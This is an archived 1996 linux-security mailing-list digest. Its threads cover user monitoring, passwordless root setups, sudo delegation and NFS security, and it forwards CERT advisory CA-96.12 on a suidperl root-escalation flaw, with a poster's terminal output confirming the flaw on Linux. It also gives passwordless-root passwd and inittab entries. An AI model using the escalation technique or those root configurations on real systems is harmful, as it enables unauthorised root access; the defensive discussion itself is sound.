> > > Does Linux support process logging these days? Hmmm. That's assuming you know the tty of the user OR otherwise you have to log all tty's (except ones you KNOW the user won't be using, like the consoles) > > Of course, all of this should be done only be people wearing white > > hats! Your users will hate you if you do this without proper > > cause. Really think hard about this: what give's you the right to monitor the user. If your answer is 'because I'm paid too' or 'because it is my system', then feel free (post a warning like the one in the previous post or something). But if the system is something general, like a ISP machine, then you really must be justified in potentially tapping and violating users' rights. Basically, how would you feel in a similar situation, reversed? dMv ------------------------------ From: Benedikt Stockebrand Date: Sun, 23 Jun 1996 01:31:09 +0200 Subject: Re: [linux-security] standard users,grou [ To the moderators: I'm sorry about the excessive quoting. If you ] [ find a way to trim it any further, feel free to do so. Aside from ] [ that we're drifting off linux-specific security stuff, so you might ] [ as well drop it completely. --ben ] Raul D. Miller wrote: | (1) If physical security is assured (e.g. a laptop, which you carry with | you), passwordless root is reasonable. [You don't want to run any networking | daemons in this configuration though.] No. If your laptop gets stolen you can't help it (but at least you'll probably realize). Leaving it without a root pw will invite anyone to look around your system and do some nasty things to it while you leave it unguarded for some minutes. Or do you take your laptop to the bathroom? | (2) It's also reasonable to have root running on some vts directly from init. | (/bin/open -w is a reasonable way of doing this, though it could be more | space efficient). In this configuration, it's also reasonable to set the | password field for root to * (no password). Again, this assumes that | physical security is present. I've done that occasionally while setting up or administrating a running system. I rather use a separate runlevel (e.g. 4) for it instead though. Log in as root once, telinit 4, and you're done. But then, if you manage to remember about that you might as well log in as root once more and do a renice --19 $$. | (3) If the machine is only occasional use (e.g. one of many), then it's | reasonable to use either of the above configurations not as a user, but as | root. Figure out a way to assign systematic variations on the passwords. Like using a six char string plus the last byte of the machines IP address in hex. Not great, but works to a degree. Yet another option: Use one machine for administration and do everything on the other machines through a ssh login. In that case you theoretically can even disable root login on the other machines (keep a boot disk handy, though). | This is no less secure than Dos, Windows, etc. Millions of flies... no valid argument. | If a lot of machines are in use, it's not reasonable to expect the user to | remember unique username/password combinations for all machine. For ordinary users, use a distributed /etc/shadow. Using rdist with ssh should do the trick if nothing else. | A variant on this is where the same username password is used | on all machines -- here, if the combination is revealed in one environment it | may be used to compromise another environment. Bad for that one user. But if it happens to the root passwd it's bad for *all* users. | Usernames+passwords only make sense in environments where more than one | person has access to the machine. A gun doesn't need a safety catch---if I don't want to shoot, I don't pull the trigger. Ever done a rm -rf in the wrong vt? Happened to me twice, once on an old (2.1) OS/2 box: Complete reinstall from tape, first with installation disks, then re-reading all tapes back, a full day wasted (and with Linux, a non-standard tape device and no customized rescue boot disk it might take well longer). Second time, as non-root user on my home Linux box: tar x /home/benedikt, twenty minutes, no sweat. | On the other hand, on a single user machine, it is reasonable to put | some communications programs in a wrapper that drops most privileges | before receiving anything (for example: chroot, setuid, fork, ...). If it runs communications programs it isn't a " single user machine" anymore---unless you really make sure you won't get any unwanted users from outside. Never underestimate the malevolence of the average Net Moron[TM]. Ben - -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. ------------------------------ End of linux-security-digest V2 #32 *********************************** linux-security-digest/v02.n033100664 1767 1767 64153 6164333152 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #33 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 26 June 1996 Volume 02 : Number 033 Re: [linux-security] suspicious users Re: [linux-security] sudo limiting Re: [linux-security] standard users,grou Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) ---------------------------------------------------------------------- From: Suicide Object Date: Mon, 24 Jun 1996 20:21:59 +0200 (MET DST) Subject: Re: [linux-security] suspicious users On Sat, 22 Jun 1996, /* (c) 1996 dMv */ wrote: > But the same thing stands for telnetsnoop. If used unwisely, it can be > unuseful, and generate a lot of data. However, if you log the data to a > file, and have it search for certain things, based on what you want to > know. It has the advantage that not everyone has their privacy needlessly > violated. telnetsnoop is a very restricted way of monitoring: only port 23? gee... gives a good idea of what is going on on your machine, doesn't it? Doesn't log ftp (well, /var/adm/messages does this rather well), rlogin, rpc, peoples own telnetd running on port 20666. As for most systems, access in not done on console but via networking so what better way to monitor access then to keep an eye on your packets traveling in and out. > Really think hard about this: what give's you the right to monitor the > user. If your answer is 'because I'm paid too' or 'because it is my > system', then feel free (post a warning like the one in the previous post > or something). But if the system is something general, like a ISP > machine, then you really must be justified in potentially tapping and > violating users' rights. > > Basically, how would you feel in a similar situation, reversed? this is a bit off topic, more on this 'legal thing': Basically: my machine is my ass. If someone abuses my machine *I*'m the one who is going to take the responsability. Same should go for any ISP: if you let people party in your house, they should behave. If they start doing weird stuff, you should be able to look into it. I don't say you should log all their connection nor read all their mail, just if something suspicious is in the air or complaints start to roll in, you should take action. Not just kick the abuse off, but also check what and how he is doing. {Having the sad honour if doing it a while ago :-(} Wim Vandeputte, Tunnel Vision and the scars to prove it "Is it time to shut down and lay to rest the Bomb that Servant Suicide Object worshipped like a God" -- NIVEK OGRE ------------------------------ From: [email protected] (JaDe) Date: Mon, 24 Jun 1996 14:13:14 -0700 (PDT) Subject: Re: [linux-security] sudo limiting > > Greetings, > > The recent thread on sudo has brought a question to me for practical usage. > > How to implement administrative accounts which have the permission to > create or change passwords of arbitary users, without having access to > change the root password. > > I was implementing user adding facilities for a small group whom still > should not have root access via sudo and realized that they could just > change the root password. I am loathe to do it with a setuid program, > even though then I can run the username through a filter, due to the > probelms having a program like that can create. > > Baring hacking passwd, or creating a restricted version of it, is there > any secure way around this delima? One point I've made about sudo is that you should only delegate the authority to people you trust -- people you'd *almost* trust with the root password itself. The value is that their actions are trackable (particularly if you syslog to a remote machine). They leave an audit trail. They can't change root's password, shell to root and *change it back* (which 'sudo -c vipw' would do BTW) You could certainly have sudo allow access to a script -- possibly a taint perl script that does something like: if ($1 != "root" && $1 != "toor" ) then su -c 'passwd' $1 (only with more restrictions on $1 to limit it to a filename -- no IFS type exploits allowed). That leads me to the real question I had about sudo. How can I ensure that sudo executes in a sensible environments (no weird IFS or settings to change which shared libs are dynamically loaded etc)? > Jim "Blue" Carstensen > SysAdmin for Cybernex Inc. > [email protected] ------------------------------ From: [email protected] Date: 24 Jun 1996 22:08:32 -0000 Subject: Re: [linux-security] standard users,grou I'm going to keep this brief. I missed that the original request was only for /bin/passwd access, not general sudo access. My fault. However, some of the replies indicate a distinct lack of thought about some of the issues of administering a secure system. I'd like to encourage a bit more thought. [Please think.] In particular, consider a laptop with root:*:0:0:root:/:/bin/sh in /etc/passwd, and 27:23:respawn:/bin/open -c 27 -l -w -- /bin/bash 28:23:respawn:/bin/open -c 28 -l -w -- /bin/bash 29:23:respawn:/bin/open -c 29 -l -w -- /bin/bash in /etc/inittab, and the keyboard remapped to put those vts somewhere personal (e.g. control right-alt capslock =). In particular, think about how hard it is to crack the root password... Another "passwordless" configuration to consider replaces some instances of /bin/bash with su -l (and some normal user id). Also, note that on this kind of machine a screen/keyboard lock mechanism is likely to be far more useful than the classic login mechanism. If you're really paranoid, you'd lock the screen before starting any sessions. A lock that leaves the session in place is likely to be more useful than a lock that is only good when you toss your session -- except maybe for those people who have configured their machines such that there's next to no time to set up a useful session. Note: remote access is another issue entirely. In terms of real security, multi-user systems aren't very effective. [They're quite useful in their own right, but never mistake security on a multi-user system for real security. For purposes of discussion, the internet is as much an example of a multi-user system as a classic timesharing host is.] However, remote access can become much more secure if you have complete control over the machines at both ends. - -- Raul ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 25 Jun 1996 10:46:08 +0100 (BST) Subject: Re: [linux-security] A secure (?) nfs-server ? > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? > (note : the machine is connected also to sun nfs-server/client ) Secure RPC is not. Apart from kerberized nfs which we don't support yet unless someone has been busy and I don't know about it you have a problem. Alan ------------------------------ From: Angel Rat Date: Tue, 25 Jun 1996 10:47:23 +0200 (MET DST) Subject: Re: [linux-security] A secure (?) nfs-server ? On Thu, 20 Jun 1996, Leonardo Costantini 339846/IL wrote: > Hi all Hi to you :) > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? > > Should I looking for a new rpc.portmapd too? While waiting for a new daemon you could set up some "light 'n' darkness": modify your /etc/hosts.allow with an entry like that: portmap: host1,host2,host3... and so on (or make the modifications needed as explained in "hosts_access") so that only the machines you mention can talk with the portmapper, all the rest receive an error. Hope this may help you > Leonardo Fabrizio. Keep you free from sin till the sandman | Antonetti Fabrizio he comes -- Metallica "Enter Sandman" | Castello 2419 - 30122 Venezia - -------------------------------------------------------------------------------- chiara.dei.unipd.it system manager | sandman@[paola][chiara].dei.unipd.it ------------------------------ From: [email protected] (Felix von Leitner) Date: Tue, 25 Jun 1996 13:00:50 +0200 Subject: Re: [linux-security] A secure (?) nfs-server ? Thus spake Leonardo Costantini 339846/IL ([email protected]): > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? There is not secure NFS. Sun sells something by that name, but it's really an NFS with DES and NIS+. AFAIK it is not supported under Linux or any other system besides Sun's for that matter. By the way: it has been cracked, too. "Secure NFS" is an oxymoron. Oh, and if something has Secure in the name and comes from Sun, then be afraid, be *very* afraid. Felix PS: "but I thought Java was secure...?" ------------------------------ From: John Fulmer Date: Tue, 25 Jun 1996 08:23:32 -0500 Subject: Re: [linux-security] A secure (?) nfs-server ? Leonardo Costantini 339846/IL wrote: > > Hi all > > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? > > Should I looking for a new rpc.portmapd too? Isn't "secure nfs" an oxymoron? I'm not so sure that you could ever secure NFS or the portmapper up enough to call it secure. If your LAN is trusted, and you operate it behind a firewall, it would probably be pretty secure, and I'm sure that there are a few tricks ("secure" RPC, etc) that could help. But I don't think you could ever consder NFS secure enough for wide area use. If you just need to transfer files, consider some kind of secure encrypting transfer protocol. There are a few of them out right now. jf - -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + John Fulmer | "As folks might have suspected, + + Secure Network System | not much survives except roaches, + + Lawrence, Kansas | and they don't carry large enough + + | packets fast enough..." + + [email protected] | --Dave Crocker, about the + + http://www.blanket.com | Internet and nuclear war. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ------------------------------ From: Thomas Koenig Date: Wed, 26 Jun 1996 00:31:23 +0200 (MET DST) Subject: Re: [linux-security] A secure (?) nfs-server ? Felix von Leitner wrote: >> I need to install a REAL secure nfs, can someone tell me wich version >> should I use ? >There is not secure NFS. You could hack ssh to be a secure NFS tunnel. It's already been done for NIS (see ftp://fripp.hrz.tu-chemnitz.de/pub/Local/informatik/sec_rpc/), and could be extended for NFS with a little bit of thought. It would be interesting to see what kind of performance you'd get, though. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: Nathan Bailey Date: Wed, 26 Jun 96 17:47:04 +1000 Subject: Re: [linux-security] A secure (?) nfs-server ? [email protected] (Alan Cox) wrote: >> I need to install a REAL secure nfs, can someone tell me wich version >> should I use ? >Secure RPC is not. Apart from kerberized nfs which we don't support yet unless >someone has been busy and I don't know about it you have a problem. Monash University has been working on Kerberized-NFS for our general access Linux labs (so students can't snoop on each others passwords(ssh)/files/whatever). It is in the process of being implemented in a much nicer way than it's present state, whereupon we will announce it to the world far and wide :-) Until then, you might like to refer to: http://www.monash.edu.au/ccstaff5/cos/pan/WWW/linux.htm (somewhat over-Netscaped, sorry) Nate ------------------------------ From: Jon Lewis Date: Wed, 26 Jun 1996 16:10:24 -0400 (EDT) Subject: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Has anyone verified yet whether this is a problem on Linux boxes across the world? - ---------- Forwarded message ---------- Date: Wed, 26 Jun 1996 11:53:54 -0500 From: CERT Advisory To: Multiple recipients of list BUGTRAQ Subject: BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.12 June 26, 1996 Topic: Vulnerability in suidperl - - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in systems that contain the suidperl program and that support saved set-user-ID and saved set-group-ID. By exploiting this vulnerability, anyone with access to an account on such a system may gain root access. Saved set-user-IDs and set-group-IDs are sometimes referred to as POSIX saved IDs. suidperl is also known as sperl followed by a version number, as in sperl5.002. Perl versions 4 and 5 can be compiled and installed in such a way that they will be vulnerable on some systems. If you have installed the suidperl or sperl programs on a system that supports saved set-user-ID and set-group-ID, you may be at risk. The CERT Coordination Center recommends that you first disable the suidperl and sperl programs (Section III.A). If you need the functionality, we further recommend that you either apply a patch for this problem or install Perl version 5.003 (Section III.B). If neither a patch nor a new version are viable alternatives, we recommend installing the wrapper written by Larry Wall as a workaround for this problem (Section III.C). As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.12.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - - ----------------------------------------------------------------------------- I. Description On some systems, setuid and setgid scripts (scripts written in the C shell, Bourne shell, or Perl, for example, with the set user or group ID permissions enabled) are insecure due to a race condition in the kernel. For those systems, Perl versions 4 and 5 attempt to work around this vulnerability with a special program named suidperl, also known as sperl. Even on systems that do provide a secure mechanism for setuid and setgid scripts, suidperl may also be installed--although it is not needed. suidperl attempts to emulate the set-user-ID and set-group-ID features of the kernel. Depending on whether the script is set-user-ID, set-group-ID, or both, suidperl achieves this emulation by first changing its effective user or group ID to that of the original Perl script. suidperl then reads and executes the script as that effective user or group. To do these user and group ID changes correctly, suidperl must be installed as set-user-ID root. On systems that support saved set-user-ID and set-group-ID, suidperl does not properly relinquish its root privileges when changing its effective user and group IDs. II. Impact On a system that has the suidperl or sperl program installed and that supports saved set-user-ID and saved set-group-ID, anyone with access to an account on the system can gain root access. III. Solution The command in Section A helps you determine if your system is vulnerable and, if it is, optionally disables the suidperl and sperl programs that it locates. After you have run this command on all of your systems, your system will no longer be vulnerable. If you find that your system is vulnerable, then you need to replace the suidperl and sperl programs with new versions. Section B describes how to do that. Finally, Section C identifies a wrapper that can be used in place of the suidperl program. A. How to determine if your system is vulnerable To determine if a system is vulnerable to this problem and to disable the programs that are believed to be vulnerable, use the following find command or a variant. Consult your local system documentation to determine how to tailor the find program on your system. You will need to run the find command on each system you maintain because the command examines files on the local disk only. Substitute the names of your local file systems for FILE_SYSTEM_NAMES in the example. Example local file system names are /, /usr, and /var. You must do this as root. Note that this is one long command, though we have separated it onto three lines using back-slashes. find FILE_SYSTEM_NAMES -xdev -type f -user root \ \( -name 'sperl[0-9].[0-9][0-9][0-9]' -o -name \ 'suidperl' \) -perm -04000 -print -ok chmod ug-s '{}' \; This command will find all files on a system that are - only in the file system you name (FILE_SYSTEM_NAMES -xdev) - regular files (-type f) - owned by root (-user root) - named appropriately (-name 'sperl[0-9].[0-9][0-9][0-9]' -o -name 'suidperl') - setuid root (-perm -04000) Once found, those files will - have their names printed (-print) - have their modes changed, but only if you type `y' in response to the prompt (-ok chown ug-s '{}' \;) B. Obtain and install the appropriate patch according to the instructions included with the patch. Vendor patches -------------- You may be vulnerable if your vendor supports saved set-user-ID and set-group-ID and ships suidperl or sperl. You need to get a patched version from your vendor. Appendix A contains information provided by vendors as of the date of this advisory. When we receive updated information, we will put it in CA-96.12.README. Until you can install a patch, we recommend disabling suidperl. The find command above will help you do that. If you need suidperl or sperl, an alternative is to install the wrapper described in Section C. Source code patches ------------------- If you have installed Perl from source code, you should install source code patches. Patches are available from the CPAN (Comprehensive Perl Archive Network) archives. Patch for Perl Version 4: File src/fixsuid4-0.pat MD5 Checksum af3e3c40bbaafce134714f1381722496 Patch for Perl Version 5: File src/fixsuid5-0.pat MD5 Checksum 135c96ee400fd37a38a7ef37edd489e9 In addition, Perl version 5.003 contains this patch, so installing it on your system also addresses this vulnerability. Perl 5.003 is available from the CPAN archives. Here are the specifics: File src/5.0/perl5.003.tar.gz MD5 Checksum b1bb23995cd25e5b750585bfede0e8a5 The CPAN archives can be found at the following locations: CPAN master site ftp://ftp.funet.fi/pub/languages/perl/CPAN/ Africa ftp://ftp.is.co.za/programming/perl/CPAN/ Asia ftp://dongpo.math.ncu.edu.tw/perl/CPAN/ ftp://ftp.lab.kdd.co.jp/lang/perl/CPAN/ Australasia ftp://coombs.anu.edu.au/pub/perl/ ftp://ftp.mame.mu.oz.au/pub/perl/CPAN/ ftp://ftp.tekotago.ac.nz/pub/perl/CPAN/ Europe ftp://ftp.arnes.si/software/perl/CPAN/ ftp://ftp.ci.uminho.pt/pub/lang/perl/ ftp://ftp.cs.ruu.nl/pub/PERL/CPAN/ ftp://ftp.demon.co.uk/pub/mirrors/perl/CPAN/ ftp://ftp.funet.fi/pub/languages/perl/CPAN/ ftp://ftp.ibp.fr/pub/perl/CPAN/ ftp://ftp.leo.org/pub/comp/programming/languages/perl/CPAN/ ftp://ftp.pasteur.fr/pub/computing/unix/perl/CPAN/ ftp://ftp.rz.ruhr-uni-bochum.de/pub/programming/languages/perl/CPAN/ ftp://ftp.sunet.se/pub/lang/perl/CPAN/ ftp://ftp.switch.ch/mirror/CPAN/ ftp://unix.hensa.ac.uk/mirrors/perl-CPAN/ North America ftp://ftp.cis.ufl.edu/pub/perl/CPAN/ ftp://ftp.delphi.com/pub/mirrors/packages/perl/CPAN/ ftp://ftp.sedl.org/pub/mirrors/CPAN/ ftp://ftp.sterling.com/programming/languages/perl/ ftp://ftp.uoknor.edu/mirrors/CPAN/ ftp://uiarchive.cso.uiuc.edu/pub/lang/perl/CPAN/ C. If you need setuid or setgid Perl scripts and are unable to apply the source code patches listed in Section B, we suggest that you retrieve Larry Wall's fixsperl script noted below. fixsperl is a script that replaces the suidperl and sperl programs with a wrapper that eliminates the vulnerability. The script is available from the CPAN archives as File src/fixsperl-0 MD5 Checksum f13900d122a904a8453a0af4c1bdddc6 Note that this script should be run one time, naming every suidperl or sperl file on your system. If you add another version of suidperl or sperl to your system, then you must run fixsperl on those newly installed versions. - - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Paul Traina, Larry Wall, Eric Allman, Tom Christiansen, and AUSCERT for their support in the development of this advisory. - - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key: ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ......................................................................... Appendix A: Vendor Information Current as of June 26, 1996 See CA-96.12.README for updated information. Below is information we have received from vendors concerning the vulnerability described in this advisory. If you do not see your vendor's name, please contact the vendor directly for information. Apple Computer, Inc. ==================== A/UX 3.1.1 and earlier support saved set-{user,group}-ids. A/UX 3.1.1 and earlier do not have Perl as part of the standard product. Data General Corporation ======================== Data General does support saved set-user-IDs and set-group-IDs on DG/UX. Data General does not ship suidperl or sperl* with DG/UX. Hewlett-Packard Company ======================= HP/UX versions 8.X, 9.X, and 10.X all support saved set-user-id. None of HP/UX versions 8.X, 9.X, and 10.X have Perl as part of the standard product. IBM Corporation =============== AIX versions 3.2.5 and 4.X support saved set-user-id. AIX versions 3.2.5 and 4.X do not have Perl as part of the standard product. However, the SP2's PSSP software does contain suidperl, but the program is not installed with the setuid bit set. Linux ===== Linux 1.2 and 2.0 support saved set-user-id. Most distributions of Linux provide suidperl and sperl. The fixsperl script works on linux, and it is recommended that this fix be applied until a new Perl release is made. Open Software Foundation ======================== OSF/1 1.3 or later support saved set-user-id OSF/1 1.3 or later does not have Perl as part of the standard product. Sony Corporation ================ NEWS-OS 4.X does not support saved set-user-id and therefore any version of Perl on that system is not vulnerable. NEWS-OS 6.X does support saved set-user-id. X.org ===== None of X.org's development systems are vulnerable to the saved set-user-IDs and set-group-IDs problems, and suidperl is not shipped with either of our products. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMdE8tnVP+x0t4w7BAQF2eQQAlpH/zOBMFK3/TQ+TAbfAkkULJORsvPTs Hv2aJtInooObGNlT8NThg+7DBOUTcNQ7allPtNRzDE9xIDsn/ZGQZSUMtuSiVqI5 F9vgXZgDFNMknRW35ae6E9zJ3R/FJGIVxQyA6BB2YhbyvnaMrzKqE0nGDy1GZsPl mhGAXh3CZYw= =o+Jl - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #33 *********************************** linux-security-digest/v02.n034100664 1767 1767 55155 6166007606 15461 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #34 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 1 July 1996 Volume 02 : Number 034 Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] suspicious users Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? [linux-security] Re: A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? ---------------------------------------------------------------------- From: [email protected] (Alan Cox) Date: Thu, 27 Jun 1996 10:50:24 +0100 (BST) Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) > Has anyone verified yet whether this is a problem on Linux boxes across > the world? Yes it is. And when you fix it watch that you get both sperl5.001 and suidperl > Linux > ===== > Linux 1.2 and 2.0 support saved set-user-id. > > Most distributions of Linux provide suidperl and sperl. > > The fixsperl script works on linux, and it is recommended that this > fix be applied until a new Perl release is made. > ------------------------------ From: Kevin Buhr Date: Thu, 27 Jun 96 10:34 CDT Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) - -----BEGIN PGP SIGNED MESSAGE----- (If you follow up, remember to drop the "linux-alert@..." address!) | Has anyone verified yet whether this is a problem on Linux boxes across | the world? I've verified the Perl saved setuid bug (CERT Advisory CA-96.12) on a Debian Linux 1.2.8 box running Perl 5.001. Most other configurations would behave the same way. Witness: % id uid=6073(buhr) gid=6073(buhr) groups=6073(buhr) % ls -lg -rwxr-xr-x 1 buhr buhr 70 Jun 27 09:52 testvuln* % ./testvuln uid=6073(buhr) gid=6073(buhr) groups=6073(buhr) % chmod 2755 testvuln % ls -lg -rwxr-sr-x 1 buhr buhr 70 Jun 27 09:52 testvuln* % ./testvuln uid=6073(buhr) gid=6073(buhr) euid=0(root) groups=6073(buhr) Here, "testvuln" is a Perl script that sets its euid to 0, detaints its path, and runs "id". Somewhere in the middle of the 1.1.x kernel sequence, saved ids were made to work correctly. Hence, all recent kernels (including all of the 1.2.x, 1.3.x, and 2.0.x sequences) will "support" this vulnerability. Moreover, the standard Linux configuration for the Perl distribution compiles and installs this flawed setuid version, so most Linux distributions will have the vulnerability. THEREFORE, if you have a setuid root "suidperl" or "sperl" somewhere on your Linux box's filetree, assume you are vulnerable! Kevin - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4beta, an Emacs/PGP interface iQBVAwUBMdKp8YmVIQW1OgXhAQFikgH9EN5+1NiCzSBz+W0q7phvmZ91247YTxOo y0Hwjn2qG92yi9S2w+xCiRhpC1e4jWoVjFB4Oyv9/zo84/aytvrxyw== =SA5N - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Matt) Date: 25 Jun 1996 14:07:16 -0400 Subject: Re: [linux-security] suspicious users [Mod: Let's please let this thread die here; it's more politics and legalisms than security. --Jeff.] Suicide Object ([email protected]) wrote: : this is a bit off topic, more on this 'legal thing': yes. : Basically: my machine is my ass. If someone abuses my machine *I*'m the : one who is going to take the responsability. Same should go for any ISP: : if you let people party in your house, they should behave. If they start : doing weird stuff, you should be able to look into it. If you use this philosphy to deal with things, it will be your ass. You need to view ISP's as "common carriers". An ISP is not your house, it is a service, like the phone company. The phone company doesn't have the right to to listen to the phone calls that go through it's equipment. By keeping this law, they protect themselves when people abuse it. If you actively deal with "editting" users, then you are responsible for them. If you let users pay for the use of your tools, then they are responsible for themselves. (This has even made it into US court system when Prodigy was sued for allowing, slanderous, posts on their network. The judge stated that since Prodigy made an active attempt to censor things, then it was liable for things said, and if they had just allowed things through, then they wouldn't have been liable.) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Gerald Anderson Date: Thu, 27 Jun 1996 20:39:00 -0500 Subject: Re: [linux-security] A secure (?) nfs-server ? Just to add my $0.02 in on the secure NFS thread. It is indeed an oxymoron however, I though now might be a good time to point out the portmap 4 is out, it's supposed to be substantially more secure than previous versions. I run redhat and got the rpm off of sunsite. Gerald P.S. I disclaim that I REALLY think it's more secure. I just had to install it as part of an upgrade and I just looked at the first few lines of the README. - ------------------------------------------------------------------------------ Gerald D. Anderson President Against stupidity the very gods VTE Network Services themselves contend in vain. Dallas, Texas USA --Asimov (AFAIK) (214)241-2921 [email protected] I support Free Speech on the Internet. http://www.vte.com/ http://www.eff.org/blueribbon.html - ------------------------------------------------------------------------------ - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzAVuh0AAAEEAMmAp4uvdvZqj+ceY5gHefIln08r4sbc97EXTvVN7jttbkty jCN0z8iI0E8fjUwttT2IR19bZLbomlmrVIkqLyysdrVoOHPGzZ2IuWcIHu8oUxOL pc0QnQstLC9b6kqieYDnK6EZr+ttProB+sqemKP3Hok5JzTC5GK136+dn5+JAAUR tClHZXJhbGQgRC4gQW5kZXJzb24gPGdhbmRlckBjeWJlci52dGUuY29tPg== =DkKi - -----END PGP PUBLIC KEY BLOCK----- ------------------------------ From: [email protected] Date: Fri, 28 Jun 1996 04:12:19 -0400 (EDT) Subject: Re: [linux-security] suspicious users > Note: This system is for the use of authorized users only. > Individuals using this computer without authority, > or in excess of their authority, are subject to having > all of their activities on this system monitored and > recorded by system personnel. > > Tracing you is currently sponsored by Glock 17L (tm) Ummmm... admittedly I don't know nearly as much about Linux as most of the readers on this list, but I do know a bit about law. Stating that only those who use the computer without authority or beyond their authority doesn't really cut it. The reason is that it is necessary to look over the shoulder of those who "may" be abusing access in order to determine if they are indeed doing so. So, I'm afraid your disclaimer will have to be a bit more unsettling. If anyone is really interested in this, I'll devote a little time to write up something that may be a bit more bullet-proof. - -Mark ------------------------------ From: Benjamin Ewy Date: Fri, 28 Jun 1996 13:12:31 -0500 (CDT) Subject: Re: [linux-security] suspicious users [Mod: quoting trimmed. --Jeff.] > So, I'm afraid your disclaimer will have to be a bit more unsettling. If > anyone is really interested in this, I'll devote a little time to write > up something that may be a bit more bullet-proof. > > -Mark > CERT advisory CA-92:19 has a disclaimer suggested by the Department of Justice for this purpose. - -- Benjamin J. Ewy Design Engineer Telecommunications & Information Sciences Laboratory Center for Research Inc. 2291 Irving Hill Rd | [email protected] Lawrence, KS 66045-2228 | http://www.tisl.ukans.edu/~bewy (913) 864-3082 | FAX: (913) 864-7789 | Linux - The best things in life are free! ------------------------------ From: [email protected] (Kai Henningsen) Date: 28 Jun 1996 19:23:00 +0200 Subject: Re: [linux-security] suspicious users [email protected] (Suicide Object) wrote on 24.06.96 in : > this is a bit off topic, more on this 'legal thing': > > Basically: my machine is my ass. If someone abuses my machine *I*'m the > one who is going to take the responsability. Same should go for any ISP: > if you let people party in your house, they should behave. If they start > doing weird stuff, you should be able to look into it. Be warned, though, that in some nations, you won't have the right to do this - especially as an ISP, but in some cases also as an employer. In these nations, you might go to jail unless you have very good reasons - maybe even then. And the fine print in your contracts may not be enough to bail you out, either. Definitely ask a good lawyer first who understands your local privacy legislation. Snooping on your user just might be a risky thing. MfG Kai ------------------------------ From: [email protected] (Wietse Venema) Date: Fri, 28 Jun 96 22:40:05 MET DST Subject: Re: [linux-security] A secure (?) nfs-server ? Gerald Anderson wrote: > > Just to add my $0.02 in on the secure NFS thread. It is indeed an oxymoron > however, I though now might be a good time to point out the portmap 4 is out, > it's supposed to be substantially more secure than previous versions. I run My portmap 4 is just portmap 3 with changes to keep up with evolution - it has support for the variable-length sockaddr structures as found in AIX 4.x and in 4.4 BSD. I agree, NFS in its default form offers hardly any resistance against malicious superusers. It's not so bad, though, in an environment that is shielded against NFS requests from malicious superusers :-) It all depends on who is in control. Wietse ------------------------------ From: Jon Lewis Date: Sat, 29 Jun 1996 02:24:49 -0400 (EDT) Subject: Re: 